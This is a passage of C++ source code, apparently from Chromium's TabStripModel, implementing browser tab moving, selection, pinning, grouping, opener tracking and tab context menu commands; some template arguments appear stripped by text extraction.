tabs_scrubbed_by_mouse_press_count_); UMA_HISTOGRAM_COUNTS_10000("Tabs.ScrubbedInInterval.KeyPress", tabs_scrubbed_by_key_press_count_); tabs_scrubbed_by_mouse_press_count_ = 0; tabs_scrubbed_by_key_press_count_ = 0; } int TabStripModel::MoveWebContentsAt(int index, int to_position, bool select_after_move) { ReentrancyCheck reentrancy_check(&reentrancy_guard_); DCHECK(ContainsIndex(index)); to_position = ConstrainMoveIndex(to_position, IsTabPinned(index)); if (index == to_position) return to_position; MoveWebContentsAtImpl(index, to_position, select_after_move); EnsureGroupContiguity(to_position); return to_position; } void TabStripModel::MoveSelectedTabsTo(int index) { ReentrancyCheck reentrancy_check(&reentrancy_guard_); int total_pinned_count = IndexOfFirstNonPinnedTab(); int selected_pinned_count = 0; const ui::ListSelectionModel::SelectedIndices& selected_indices = selection_model_.selected_indices(); int selected_count = static_cast(selected_indices.size()); for (auto selection : selected_indices) { if (IsTabPinned(selection)) selected_pinned_count++; } // To maintain that all pinned tabs occur before non-pinned tabs we move them // first. if (selected_pinned_count > 0) { MoveSelectedTabsToImpl( std::min(total_pinned_count - selected_pinned_count, index), 0u, selected_pinned_count); if (index > total_pinned_count - selected_pinned_count) { // We're being told to drag pinned tabs to an invalid location. Adjust the // index such that non-pinned tabs end up at a location as though we could // move the pinned tabs to index. See description in header for more // details. index += selected_pinned_count; } } if (selected_pinned_count == selected_count) return; // Then move the non-pinned tabs. MoveSelectedTabsToImpl(std::max(index, total_pinned_count), selected_pinned_count, selected_count - selected_pinned_count); } void TabStripModel::MoveGroupTo(const tab_groups::TabGroupId& group, int to_index) { ReentrancyCheck reentrancy_check(&reentrancy_guard_); DCHECK_NE(to_index, kNoTab); gfx::Range tabs_in_group = group_model_->GetTabGroup(group)->ListTabs(); DCHECK_GT(tabs_in_group.length(), 0u); int from_index = tabs_in_group.start(); if (to_index < from_index) from_index = tabs_in_group.end() - 1; for (size_t i = 0; i < tabs_in_group.length(); ++i) MoveWebContentsAtImpl(from_index, to_index, false); MoveTabGroup(group); } WebContents* TabStripModel::GetActiveWebContents() const { return GetWebContentsAt(active_index()); } WebContents* TabStripModel::GetWebContentsAt(int index) const { if (ContainsIndex(index)) return GetWebContentsAtImpl(index); return nullptr; } int TabStripModel::GetIndexOfWebContents(const WebContents* contents) const { for (size_t i = 0; i < contents_data_.size(); ++i) { if (contents_data_[i]->web_contents() == contents) return i; } return kNoTab; } void TabStripModel::UpdateWebContentsStateAt(int index, TabChangeType change_type) { DCHECK(ContainsIndex(index)); for (auto& observer : observers_) observer.TabChangedAt(GetWebContentsAtImpl(index), index, change_type); } void TabStripModel::SetTabNeedsAttentionAt(int index, bool attention) { DCHECK(ContainsIndex(index)); for (auto& observer : observers_) observer.SetTabNeedsAttentionAt(index, attention); } void TabStripModel::CloseAllTabs() { ReentrancyCheck reentrancy_check(&reentrancy_guard_); // Set state so that observers can adjust their behavior to suit this // specific condition when CloseWebContentsAt causes a flurry of // Close/Detach/Select notifications to be sent. closing_all_ = true; std::vector closing_tabs; closing_tabs.reserve(count()); for (int i = count() - 1; i >= 0; --i) closing_tabs.push_back(GetWebContentsAt(i)); InternalCloseTabs(closing_tabs, CLOSE_CREATE_HISTORICAL_TAB); } bool TabStripModel::CloseWebContentsAt(int index, uint32_t close_types) { DCHECK(ContainsIndex(index)); WebContents* contents = GetWebContentsAt(index); return InternalCloseTabs(base::span(&contents, 1), close_types); } bool TabStripModel::TabsAreLoading() const { for (const auto& data : contents_data_) { if (data->web_contents()->IsLoading()) return true; } return false; } WebContents* TabStripModel::GetOpenerOfWebContentsAt(int index) { DCHECK(ContainsIndex(index)); return contents_data_[index]->opener(); } void TabStripModel::SetOpenerOfWebContentsAt(int index, WebContents* opener) { DCHECK(ContainsIndex(index)); // The TabStripModel only maintains the references to openers that it itself // owns; trying to set an opener to an external WebContents can result in // the opener being used after its freed. See crbug.com/698681. DCHECK(!opener || GetIndexOfWebContents(opener) != kNoTab) << "Cannot set opener to a web contents not owned by this tab strip."; contents_data_[index]->set_opener(opener); } int TabStripModel::GetIndexOfLastWebContentsOpenedBy(const WebContents* opener, int start_index) const { DCHECK(opener); DCHECK(ContainsIndex(start_index)); std::set opener_and_descendants; opener_and_descendants.insert(opener); int last_index = kNoTab; for (int i = start_index + 1; i < count(); ++i) { // Test opened by transitively, i.e. include tabs opened by tabs opened by // opener, etc. Stop when we find the first non-descendant. if (!opener_and_descendants.count(contents_data_[i]->opener())) { // Skip over pinned tabs as new tabs are added after pinned tabs. if (contents_data_[i]->pinned()) continue; break; } opener_and_descendants.insert(contents_data_[i]->web_contents()); last_index = i; } return last_index; } void TabStripModel::TabNavigating(WebContents* contents, ui::PageTransition transition) { if (ShouldForgetOpenersForTransition(transition)) { // Don't forget the openers if this tab is a New Tab page opened at the // end of the TabStrip (e.g. by pressing Ctrl+T). Give the user one // navigation of one of these transition types before resetting the // opener relationships (this allows for the use case of opening a new // tab to do a quick look-up of something while viewing a tab earlier in // the strip). We can make this heuristic more permissive if need be. if (!IsNewTabAtEndOfTabStrip(contents)) { // If the user navigates the current tab to another page in any way // other than by clicking a link, we want to pro-actively forget all // TabStrip opener relationships since we assume they're beginning a // different task by reusing the current tab. ForgetAllOpeners(); } } } void TabStripModel::SetTabBlocked(int index, bool blocked) { DCHECK(ContainsIndex(index)); if (contents_data_[index]->blocked() == blocked) return; contents_data_[index]->set_blocked(blocked); for (auto& observer : observers_) observer.TabBlockedStateChanged(contents_data_[index]->web_contents(), index); } void TabStripModel::SetTabPinned(int index, bool pinned) { ReentrancyCheck reentrancy_check(&reentrancy_guard_); SetTabPinnedImpl(index, pinned); } bool TabStripModel::IsTabPinned(int index) const { DCHECK(ContainsIndex(index)) << index; return contents_data_[index]->pinned(); } bool TabStripModel::IsTabCollapsed(int index) const { base::Optional group = GetTabGroupForTab(index); return group.has_value() && IsGroupCollapsed(group.value()); } bool TabStripModel::IsGroupCollapsed( const tab_groups::TabGroupId& group) const { return group_model()->ContainsTabGroup(group) && group_model()->GetTabGroup(group)->visual_data()->is_collapsed(); } bool TabStripModel::IsTabBlocked(int index) const { return contents_data_[index]->blocked(); } base::Optional TabStripModel::GetTabGroupForTab( int index) const { return ContainsIndex(index) ? contents_data_[index]->group() : base::nullopt; } base::Optional TabStripModel::GetSurroundingTabGroup( int index) const { if (!ContainsIndex(index - 1) || !ContainsIndex(index)) return base::nullopt; // If the tab before is not in a group, a tab inserted at |index| // wouldn't be surrounded by one group. base::Optional group = GetTabGroupForTab(index - 1); if (!group) return base::nullopt; // If the tab after is in a different (or no) group, a new tab at // |index| isn't surrounded. if (group != GetTabGroupForTab(index)) return base::nullopt; return group; } int TabStripModel::IndexOfFirstNonPinnedTab() const { for (size_t i = 0; i < contents_data_.size(); ++i) { if (!IsTabPinned(static_cast(i))) return static_cast(i); } // No pinned tabs. return count(); } void TabStripModel::ExtendSelectionTo(int index) { DCHECK(ContainsIndex(index)); ui::ListSelectionModel new_model = selection_model_; new_model.SetSelectionFromAnchorTo(index); SetSelection(std::move(new_model), TabStripModelObserver::CHANGE_REASON_NONE, /*triggered_by_other_operation=*/false); } void TabStripModel::ToggleSelectionAt(int index) { DCHECK(ContainsIndex(index)); ui::ListSelectionModel new_model = selection_model(); if (selection_model_.IsSelected(index)) { if (selection_model_.size() == 1) { // One tab must be selected and this tab is currently selected so we can't // unselect it. return; } new_model.RemoveIndexFromSelection(index); new_model.set_anchor(index); if (new_model.active() == index || new_model.active() == ui::ListSelectionModel::kUnselectedIndex) new_model.set_active(*new_model.selected_indices().begin()); } else { new_model.AddIndexToSelection(index); new_model.set_anchor(index); new_model.set_active(index); } SetSelection(std::move(new_model), TabStripModelObserver::CHANGE_REASON_NONE, /*triggered_by_other_operation=*/false); } void TabStripModel::AddSelectionFromAnchorTo(int index) { ui::ListSelectionModel new_model = selection_model_; new_model.AddSelectionFromAnchorTo(index); SetSelection(std::move(new_model), TabStripModelObserver::CHANGE_REASON_NONE, /*triggered_by_other_operation=*/false); } bool TabStripModel::IsTabSelected(int index) const { DCHECK(ContainsIndex(index)); return selection_model_.IsSelected(index); } void TabStripModel::SetSelectionFromModel(ui::ListSelectionModel source) { DCHECK_NE(ui::ListSelectionModel::kUnselectedIndex, source.active()); SetSelection(std::move(source), TabStripModelObserver::CHANGE_REASON_NONE, /*triggered_by_other_operation=*/false); } const ui::ListSelectionModel& TabStripModel::selection_model() const { return selection_model_; } void TabStripModel::AddWebContents( std::unique_ptr contents, int index, ui::PageTransition transition, int add_types, base::Optional group) { ReentrancyCheck reentrancy_check(&reentrancy_guard_); // If the newly-opened tab is part of the same task as the parent tab, we want // to inherit the parent's opener attribute, so that if this tab is then // closed we'll jump back to the parent tab. bool inherit_opener = (add_types & ADD_INHERIT_OPENER) == ADD_INHERIT_OPENER; if (ui::PageTransitionTypeIncludingQualifiersIs(transition, ui::PAGE_TRANSITION_LINK) && (add_types & ADD_FORCE_INDEX) == 0) { // We assume tabs opened via link clicks are part of the same task as their // parent. Note that when |force_index| is true (e.g. when the user // drag-and-drops a link to the tab strip), callers aren't really handling // link clicks, they just want to score the navigation like a link click in // the history backend, so we don't inherit the opener in this case. index = order_controller_->DetermineInsertionIndex(transition, add_types & ADD_ACTIVE); inherit_opener = true; // The current active index is our opener. If the tab we are adding is not // in a group, set the group of the tab to that of its opener. if (!group.has_value()) group = GetTabGroupForTab(active_index()); } else { // For all other types, respect what was passed to us, normalizing -1s and // values that are too large. if (index < 0 || index > count()) index = count(); } // Prevent the tab from being inserted at an index that would make the group // non-contiguous. Most commonly, the new-tab button always attempts to insert // at the end of the tab strip. Extensions can insert at an arbitrary index, // so we have to handle the general case. if (group.has_value()) { gfx::Range grouped_tabs = group_model_->GetTabGroup(group.value())->ListTabs(); if (grouped_tabs.length() > 0) { index = base::ClampToRange(index, static_cast(grouped_tabs.start()), static_cast(grouped_tabs.end())); } } else if (GetTabGroupForTab(index - 1) == GetTabGroupForTab(index)) { group = GetTabGroupForTab(index); } if (ui::PageTransitionTypeIncludingQualifiersIs(transition, ui::PAGE_TRANSITION_TYPED) && index == count()) { // Also, any tab opened at the end of the TabStrip with a "TYPED" // transition inherit opener as well. This covers the cases where the user // creates a New Tab (e.g. Ctrl+T, or clicks the New Tab button), or types // in the address bar and presses Alt+Enter. This allows for opening a new // Tab to quickly look up something. When this Tab is closed, the old one // is re-activated, not the next-adjacent. inherit_opener = true; } WebContents* raw_contents = contents.get(); InsertWebContentsAtImpl(index, std::move(contents), add_types | (inherit_opener ? ADD_INHERIT_OPENER : 0), group); // Reset the index, just in case insert ended up moving it on us. index = GetIndexOfWebContents(raw_contents); // In the "quick look-up" case detailed above, we want to reset the opener // relationship on any active tab change, even to another tab in the same tree // of openers. A jump would be too confusing at that point. if (inherit_opener && ui::PageTransitionTypeIncludingQualifiersIs( transition, ui::PAGE_TRANSITION_TYPED)) contents_data_[index]->set_reset_opener_on_active_tab_change(true); // TODO(sky): figure out why this is here and not in InsertWebContentsAt. When // here we seem to get failures in startup perf tests. // Ensure that the new WebContentsView begins at the same size as the // previous WebContentsView if it existed. Otherwise, the initial WebKit // layout will be performed based on a width of 0 pixels, causing a // very long, narrow, inaccurate layout. Because some scripts on pages (as // well as WebKit's anchor link location calculation) are run on the // initial layout and not recalculated later, we need to ensure the first // layout is performed with sane view dimensions even when we're opening a // new background tab. if (WebContents* old_contents = GetActiveWebContents()) { if ((add_types & ADD_ACTIVE) == 0) { raw_contents->Resize( gfx::Rect(old_contents->GetContainerBounds().size())); } } } void TabStripModel::CloseSelectedTabs() { ReentrancyCheck reentrancy_check(&reentrancy_guard_); const ui::ListSelectionModel::SelectedIndices& sel = selection_model_.selected_indices(); InternalCloseTabs( GetWebContentsesByIndices(std::vector(sel.begin(), sel.end())), CLOSE_CREATE_HISTORICAL_TAB | CLOSE_USER_GESTURE); } void TabStripModel::SelectNextTab(UserGestureDetails detail) { SelectRelativeTab(true, detail); } void TabStripModel::SelectPreviousTab(UserGestureDetails detail) { SelectRelativeTab(false, detail); } void TabStripModel::SelectLastTab(UserGestureDetails detail) { ActivateTabAt(count() - 1, detail); } void TabStripModel::MoveTabNext() { MoveTabRelative(true); } void TabStripModel::MoveTabPrevious() { MoveTabRelative(false); } tab_groups::TabGroupId TabStripModel::AddToNewGroup( const std::vector& indices) { ReentrancyCheck reentrancy_check(&reentrancy_guard_); // Ensure that the indices are sorted and unique. DCHECK(base::ranges::is_sorted(indices)); DCHECK(std::adjacent_find(indices.begin(), indices.end()) == indices.end()); // The odds of |new_group| colliding with an existing group are astronomically // low. If there is a collision, a DCHECK will fail in |AddToNewGroupImpl()|, // in which case there is probably something wrong with // |tab_groups::TabGroupId::GenerateNew()|. const tab_groups::TabGroupId new_group = tab_groups::TabGroupId::GenerateNew(); AddToNewGroupImpl(indices, new_group); return new_group; } void TabStripModel::AddToExistingGroup(const std::vector& indices, const tab_groups::TabGroupId& group) { ReentrancyCheck reentrancy_check(&reentrancy_guard_); // Ensure that the indices are sorted and unique. DCHECK(base::ranges::is_sorted(indices)); DCHECK(std::adjacent_find(indices.begin(), indices.end()) == indices.end()); AddToExistingGroupImpl(indices, group); } void TabStripModel::MoveTabsAndSetGroup( const std::vector& indices, int destination_index, base::Optional group) { ReentrancyCheck reentrancy_check(&reentrancy_guard_); MoveTabsAndSetGroupImpl(indices, destination_index, group); } void TabStripModel::AddToGroupForRestore(const std::vector& indices, const tab_groups::TabGroupId& group) { ReentrancyCheck reentrancy_check(&reentrancy_guard_); const bool group_exists = group_model_->ContainsTabGroup(group); if (group_exists) AddToExistingGroupImpl(indices, group); else AddToNewGroupImpl(indices, group); } void TabStripModel::UpdateGroupForDragRevert( int index, base::Optional group_id, base::Optional group_data) { ReentrancyCheck reentrancy_check(&reentrancy_guard_); if (group_id.has_value()) { const bool group_exists = group_model_->ContainsTabGroup(group_id.value()); if (!group_exists) group_model_->AddTabGroup(group_id.value(), group_data); GroupTab(index, group_id.value()); } else { UngroupTab(index); } } void TabStripModel::RemoveFromGroup(const std::vector& indices) { ReentrancyCheck reentrancy_check(&reentrancy_guard_); std::map> indices_per_tab_group; for (int index : indices) { base::Optional old_group = GetTabGroupForTab(index); if (old_group.has_value()) indices_per_tab_group[old_group.value()].push_back(index); } for (const auto& kv : indices_per_tab_group) { const TabGroup* group = group_model_->GetTabGroup(kv.first); const int first_tab_in_group = group->GetFirstTab().value(); const int last_tab_in_group = group->GetLastTab().value(); // This is an estimate. If the group is non-contiguous it will be // larger than the true size. This can happen while dragging tabs in // or out of a group. const int num_tabs_in_group = last_tab_in_group - first_tab_in_group + 1; const int group_midpoint = first_tab_in_group + num_tabs_in_group / 2; // Split group into |left_of_group| and |right_of_group| depending on // whether the index is closest to the left or right edge. std::vector left_of_group; std::vector right_of_group; for (int index : kv.second) { if (index < group_midpoint) { left_of_group.push_back(index); } else { right_of_group.push_back(index); } } MoveTabsAndSetGroupImpl(left_of_group, first_tab_in_group, base::nullopt); MoveTabsAndSetGroupImpl(right_of_group, last_tab_in_group + 1, base::nullopt); } } bool TabStripModel::IsReadLaterSupportedForAny(const std::vector indices) { ReadingListModel* model = ReadingListModelFactory::GetForBrowserContext(profile_); if (!model || !model->loaded()) return false; for (int index : indices) { if (model->IsUrlSupported( chrome::GetURLToBookmark(GetWebContentsAt(index)))) return true; } return false; } void TabStripModel::AddToReadLater(const std::vector& indices) { ReentrancyCheck reentrancy_check(&reentrancy_guard_); AddToReadLaterImpl(indices); } void TabStripModel::CreateTabGroup(const tab_groups::TabGroupId& group) { TabGroupChange change(group, TabGroupChange::kCreated); for (auto& observer : observers_) observer.OnTabGroupChanged(change); } void TabStripModel::OpenTabGroupEditor(const tab_groups::TabGroupId& group) { TabGroupChange change(group, TabGroupChange::kEditorOpened); for (auto& observer : observers_) observer.OnTabGroupChanged(change); } void TabStripModel::ChangeTabGroupContents( const tab_groups::TabGroupId& group) { TabGroupChange change(group, TabGroupChange::kContentsChanged); for (auto& observer : observers_) observer.OnTabGroupChanged(change); } void TabStripModel::ChangeTabGroupVisuals( const tab_groups::TabGroupId& group, const TabGroupChange::VisualsChange& visuals) { TabGroupChange change(group, visuals); for (auto& observer : observers_) observer.OnTabGroupChanged(change); } void TabStripModel::MoveTabGroup(const tab_groups::TabGroupId& group) { TabGroupChange change(group, TabGroupChange::kMoved); for (auto& observer : observers_) observer.OnTabGroupChanged(change); } void TabStripModel::CloseTabGroup(const tab_groups::TabGroupId& group) { TabGroupChange change(group, TabGroupChange::kClosed); for (auto& observer : observers_) observer.OnTabGroupChanged(change); } int TabStripModel::GetTabCount() const { return static_cast(contents_data_.size()); } // Context menu functions. bool TabStripModel::IsContextMenuCommandEnabled( int context_index, ContextMenuCommand command_id) const { DCHECK(command_id > CommandFirst && command_id < CommandLast); switch (command_id) { case CommandNewTabToRight: case CommandCloseTab: return true; case CommandReload: { std::vector indices = GetIndicesForCommand(context_index); for (size_t i = 0; i < indices.size(); ++i) { WebContents* tab = GetWebContentsAt(indices[i]); if (tab) { Browser* browser = chrome::FindBrowserWithWebContents(tab); if (!browser || browser->CanReloadContents(tab)) return true; } } return false; } case CommandCloseOtherTabs: case CommandCloseTabsToRight: return !GetIndicesClosedByCommand(context_index, command_id).empty(); case CommandDuplicate: { std::vector indices = GetIndicesForCommand(context_index); for (size_t i = 0; i < indices.size(); ++i) { if (delegate()->CanDuplicateContentsAt(indices[i])) return true; } return false; } case CommandToggleSiteMuted: return true; case CommandTogglePinned: return true; case CommandToggleGrouped: return true; case CommandFocusMode: return GetIndicesForCommand(context_index).size() == 1; case CommandSendTabToSelf: return true; case CommandSendTabToSelfSingleTarget: return true; case CommandAddToReadLater: return true; case CommandAddToNewGroup: return true; case CommandAddToExistingGroup: return true; case CommandRemoveFromGroup: return true; case CommandMoveToExistingWindow: return true; case CommandMoveTabsToNewWindow: return delegate()->CanMoveTabsToWindow( GetIndicesForCommand(context_index)); default: NOTREACHED(); } return false; } void TabStripModel::ExecuteContextMenuCommand(int context_index, ContextMenuCommand command_id) { DCHECK(command_id > CommandFirst && command_id < CommandLast); switch (command_id) { case CommandNewTabToRight: { base::RecordAction(UserMetricsAction("TabContextMenu_NewTab")); UMA_HISTOGRAM_ENUMERATION("Tab.NewTab", TabStripModel::NEW_TAB_CONTEXT_MENU, TabStripModel::NEW_TAB_ENUM_COUNT); delegate()->AddTabAt(GURL(), context_index + 1, true, GetTabGroupForTab(context_index)); break; } case CommandReload: { base::RecordAction(UserMetricsAction("TabContextMenu_Reload")); std::vector indices = GetIndicesForCommand(context_index); for (size_t i = 0; i < indices.size(); ++i) { WebContents* tab = GetWebContentsAt(indices[i]); if (tab) { Browser* browser = chrome::FindBrowserWithWebContents(tab); if (!browser || browser->CanReloadContents(tab)) tab->GetController().Reload(content::ReloadType::NORMAL, true); } } break; } case CommandDuplicate: { base::RecordAction(UserMetricsAction("TabContextMenu_Duplicate")); std::vector indices = GetIndicesForCommand(context_index); // Copy the WebContents off as the indices will change as tabs are // duplicated. std::vector tabs; for (size_t i = 0; i < indices.size(); ++i) tabs.push_back(GetWebContentsAt(indices[i])); for (size_t i = 0; i < tabs.size(); ++i) { int index = GetIndexOfWebContents(tabs[i]); if (index != -1 && delegate()->CanDuplicateContentsAt(index)) delegate()->DuplicateContentsAt(index); } break; } case CommandCloseTab: { ReentrancyCheck reentrancy_check(&reentrancy_guard_); base::RecordAction(UserMetricsAction("TabContextMenu_CloseTab")); InternalCloseTabs( GetWebContentsesByIndices(GetIndicesForCommand(context_index)), CLOSE_CREATE_HISTORICAL_TAB | CLOSE_USER_GESTURE); break; } case CommandCloseOtherTabs: { ReentrancyCheck reentrancy_check(&reentrancy_guard_); base::RecordAction(UserMetricsAction("TabContextMenu_CloseOtherTabs")); InternalCloseTabs(GetWebContentsesByIndices(GetIndicesClosedByCommand( context_index, command_id)), CLOSE_CREATE_HISTORICAL_TAB); break; } case CommandCloseTabsToRight: { ReentrancyCheck reentrancy_check(&reentrancy_guard_); base::RecordAction(UserMetricsAction("TabContextMenu_CloseTabsToRight")); InternalCloseTabs(GetWebContentsesByIndices(GetIndicesClosedByCommand( context_index, command_id)), CLOSE_CREATE_HISTORICAL_TAB); break; } case CommandSendTabToSelfSingleTarget: { send_tab_to_self::ShareToSingleTarget(GetWebContentsAt(context_index)); send_tab_to_self::RecordSendTabToSelfClickResult( send_tab_to_self::kTabMenu, SendTabToSelfClickResult::kClickItem); break; } case CommandTogglePinned: { ReentrancyCheck reentrancy_check(&reentrancy_guard_); base::RecordAction(UserMetricsAction("TabContextMenu_TogglePinned")); std::vector indices = GetIndicesForCommand(context_index); bool pin = WillContextMenuPin(context_index); if (pin) { for (size_t i = 0; i < indices.size(); ++i) SetTabPinnedImpl(indices[i], true); } else { // Unpin from the back so that the order is maintained (unpinning can // trigger moving a tab). for (size_t i = indices.size(); i > 0; --i) SetTabPinnedImpl(indices[i - 1], false); } break; } case CommandToggleGrouped: { std::vector indices = GetIndicesForCommand(context_index); bool group = WillContextMenuGroup(context_index); if (group) { tab_groups::TabGroupId new_group = AddToNewGroup(indices); OpenTabGroupEditor(new_group); } else { RemoveFromGroup(indices); } break; } case CommandFocusMode: { base::RecordAction(UserMetricsAction("TabContextMenu_FocusMode")); std::vector indices = GetIndicesForCommand(context_index); WebContents* contents = GetWebContentsAt(indices[0]); web_app::ReparentWebContentsForFocusMode(contents); break; } case CommandToggleSiteMuted: { const bool mute = WillContextMenuMuteSites(context_index); if (mute) { base::RecordAction( UserMetricsAction("SoundContentSetting.MuteBy.TabStrip")); } else { base::RecordAction( UserMetricsAction("SoundContentSetting.UnmuteBy.TabStrip")); } SetSitesMuted(GetIndicesForCommand(context_index), mute); break; } case CommandAddToReadLater: { base::RecordAction( UserMetricsAction("DesktopReadingList.AddItem.FromTabContextMenu")); AddToReadLater(GetIndicesForCommand(context_index)); break; } case CommandAddToNewGroup: { base::RecordAction(UserMetricsAction("TabContextMenu_AddToNewGroup")); tab_groups::TabGroupId new_group = AddToNewGroup(GetIndicesForCommand(context_index)); OpenTabGroupEditor(new_group); break; } case CommandAddToExistingGroup: { // Do nothing. The submenu's delegate will invoke // ExecuteAddToExistingGroupCommand with the correct group later. break; } case CommandRemoveFromGroup: { base::RecordAction(UserMetricsAction("TabContextMenu_RemoveFromGroup")); RemoveFromGroup(GetIndicesForCommand(context_index)); break; } case CommandMoveToExistingWindow: { // Do nothing. The submenu's delegate will invoke // ExecuteAddToExistingWindowCommand with the correct window later. break; } case CommandMoveTabsToNewWindow: { base::RecordAction( UserMetricsAction("TabContextMenu_MoveTabToNewWindow")); delegate()->MoveTabsToNewWindow(GetIndicesForCommand(context_index)); break; } default: NOTREACHED(); } } void TabStripModel::ExecuteAddToExistingGroupCommand( int context_index, const tab_groups::TabGroupId& group) { base::RecordAction(UserMetricsAction("TabContextMenu_AddToExistingGroup")); AddToExistingGroup(GetIndicesForCommand(context_index), group); } void TabStripModel::ExecuteAddToExistingWindowCommand(int context_index, int browser_index) { base::RecordAction(UserMetricsAction("TabContextMenu_AddToExistingWindow")); delegate()->MoveToExistingWindow(GetIndicesForCommand(context_index), browser_index); } std::vector TabStripModel::GetExistingWindowsForMoveMenu() { return delegate()->GetExistingWindowsForMoveMenu(); } bool TabStripModel::WillContextMenuMuteSites(int index) { return !chrome::AreAllSitesMuted(*this, GetIndicesForCommand(index)); } bool TabStripModel::WillContextMenuPin(int index) { std::vector indices = GetIndicesForCommand(index); // If all tabs are pinned, then we unpin, otherwise we pin. bool all_pinned = true; for (size_t i = 0; i < indices.size() && all_pinned; ++i) all_pinned = IsTabPinned(indices[i]); return !all_pinned; } bool TabStripModel::WillContextMenuGroup(int index) { std::vector indices = GetIndicesForCommand(index); DCHECK(!indices.empty()); // If all tabs are in the same group, then we ungroup, otherwise we group. base::Optional group = GetTabGroupForTab(indices[0]); if (!group.has_value()) return true; for (size_t i = 1; i < indices.size(); ++i) { if (GetTabGroupForTab(indices[i]) != group) return true; } return false; } // static bool TabStripModel::ContextMenuCommandToBrowserCommand(int cmd_id, int* browser_cmd) { switch (cmd_id) { case CommandReload: *browser_cmd = IDC_RELOAD; break; case CommandDuplicate: *browser_cmd = IDC_DUPLICATE_TAB; break; case CommandSendTabToSelf: *browser_cmd = IDC_SEND_TAB_TO_SELF; break; case CommandSendTabToSelfSingleTarget: *browser_cmd = IDC_SEND_TAB_TO_SELF_SINGLE_TARGET; break; case CommandCloseTab: *browser_cmd = IDC_CLOSE_TAB; break; case CommandFocusMode: *browser_cmd = IDC_FOCUS_THIS_TAB; break; default: *browser_cmd = 0; return false; } return true; } int TabStripModel::GetIndexOfNextWebContentsOpenedBy(const WebContents* opener, int start_index) const { DCHECK(opener); DCHECK(ContainsIndex(start_index)); // Check tabs after start_index first. for (int i = start_index + 1; i < count(); ++i) { if (contents_data_[i]->opener() == opener) return i; } // Then check tabs before start_index, iterating backwards. for (int i = start_index - 1; i >= 0; --i) { if (contents_data_[i]->opener() == opener) return i; } return kNoTab; } base::Optional TabStripModel::GetNextExpandedActiveTab( int start_index, base::Optional collapsing_group) const { // Check tabs from the start_index first. for (int i = start_index + 1; i < count(); ++i) { base::Optional current_group = GetTabGroupForTab(i); if (!current_group.has_value() || (!IsGroupCollapsed(current_group.value()) && current_group != collapsing_group)) { return i; } } // Then check tabs before start_index, iterating backwards. for (int i = start_index - 1; i >= 0; --i) { base::Optional current_group = GetTabGroupForTab(i); if (!current_group.has_value() || (!IsGroupCollapsed(current_group.value()) && current_group != collapsing_group)) { return i; } } return base::nullopt; } void TabStripModel::ForgetAllOpeners() { for (const auto& data : contents_data_) data->set_opener(nullptr); } void TabStripModel::ForgetOpener(WebContents* contents) { const int index = GetIndexOfWebContents(contents); DCHECK(ContainsIndex(index)); contents_data_[index]->set_opener(nullptr); } bool TabStripModel::ShouldResetOpenerOnActiveTabChange( WebContents* contents) const { const int index = GetIndexOfWebContents(contents); DCHECK(ContainsIndex(index)); return contents_data_[index]->reset_opener_on_active_tab_change(); } /////////////////////////////////////////////////////////////////////////////// // TabStripModel, private: bool TabStripModel::RunUnloadListenerBeforeClosing( content::WebContents* contents) { return delegate_->RunUnloadListenerBeforeClosing(contents); } bool TabStripModel::ShouldRunUnloadListenerBeforeClosing( content::WebContents* contents) { return contents->NeedToFireBeforeUnloadOrUnloadEvents() || delegate_->ShouldRunUnloadListenerBeforeClosing(contents); } int TabStripModel::ConstrainInsertionIndex(int index, bool pinned_tab) const { return pinned_tab ? base::ClampToRange(index, 0, IndexOfFirstNonPinnedTab()) : base::ClampToRange(index, IndexOfFirstNonPinnedTab(), count()); } int TabStripModel::ConstrainMoveIndex(int index, bool pinned_tab) const { return pinned_tab ? base::ClampToRange(index, 0, IndexOfFirstNonPinnedTab() - 1) : base::ClampToRange(index, IndexOfFirstNonPinnedTab(), count() - 1); } std::vector TabStripModel::GetIndicesForCommand(int index) const { if (!IsTabSelected(index)) return {index}; const ui::ListSelectionModel::SelectedIndices& sel = selection_model_.selected_indices(); return std::vector(sel.begin(), sel.end()); } std::vector TabStripModel::GetIndicesClosedByCommand( int index, ContextMenuCommand id) const { DCHECK(ContainsIndex(index)); DCHECK(id == CommandCloseTabsToRight || id == CommandCloseOtherTabs); bool is_selected = IsTabSelected(index); int last_unclosed_tab = -1; if (id == CommandCloseTabsToRight) { last_unclosed_tab = is_selected ? *selection_model_.selected_indices().rbegin() : index; } // NOTE: callers expect the vector to be sorted in descending order. std::vector indices; for (int i = count() - 1; i > last_unclosed_tab; --i) { if (i != index && !IsTabPinned(i) && (!is_selected || !IsTabSelected(i))) indices.push_back(i); } return indices; } bool TabStripModel::IsNewTabAtEndOfTabStrip(WebContents* contents) const { const GURL& url = contents->GetLastCommittedURL(); return url.SchemeIs(content::kChromeUIScheme) && url.host_piece() == chrome::kChromeUINewTabHost && contents == GetWebContentsAtImpl(count() - 1) && contents->GetController().GetEntryCount() == 1; } std::vector TabStripModel::GetWebContentsesByIndices( const std::vector& indices) { std::vector items; items.reserve(indices.size()); for (int index : indices) items.push_back(GetWebContentsAtImpl(index)); return items; } int TabStripModel::InsertWebContentsAtImpl( int index, std::unique_ptr contents, int add_types, base::Optional group) { delegate()->WillAddWebContents(contents.get()); bool active = (add_types & ADD_ACTIVE) != 0; bool pin = (add_types & ADD_PINNED) != 0; index = ConstrainInsertionIndex(index, pin); // Have to get the active contents before we monkey with the contents // otherwise we run into problems when we try to change the active contents // since the old contents and the new contents will be the same... WebContents* active_contents = GetActiveWebContents(); WebContents* raw_contents = contents.get(); std::unique_ptr data = std::make_unique(std::move(contents)); data->set_pinned(pin); if ((add_types & ADD_INHERIT_OPENER) && active_contents) { if (active) { // Forget any existing relationships, we don't want to make things too // confusing by having multiple openers active at the same time. ForgetAllOpeners(); } data->set_opener(active_contents); } // TODO(gbillock): Ask the modal dialog manager whether the WebContents should // be blocked, or just let the modal dialog manager make the blocking call // directly and not use this at all. const web_modal::WebContentsModalDialogManager* manager = web_modal::WebContentsModalDialogManager::FromWebContents(raw_contents); if (manager) data->set_blocked(manager->IsDialogActive()); TabStripSelectionChange selection(GetActiveWebContents(), selection_model_); contents_data_.insert(contents_data_.begin() + index, std::move(data)); selection_model_.IncrementFrom(index); if (active) { ui::ListSelectionModel new_model = selection_model_; new_model.SetSelectedIndex(index); selection = SetSelection(std::move(new_model), TabStripModelObserver::CHANGE_REASON_NONE, /*triggered_by_other_operation=*/true); } TabStripModelChange::Insert insert; insert.contents.push_back({raw_contents, index}); TabStripModelChange change(std::move(insert)); for (auto& observer : observers_) observer.OnTabStripModelChanged(this, change, selection); if (group.has_value()) GroupTab(index, group.value()); return index; } bool TabStripModel::InternalCloseTabs( base::span items, uint32_t close_types) { if (items.empty()) return 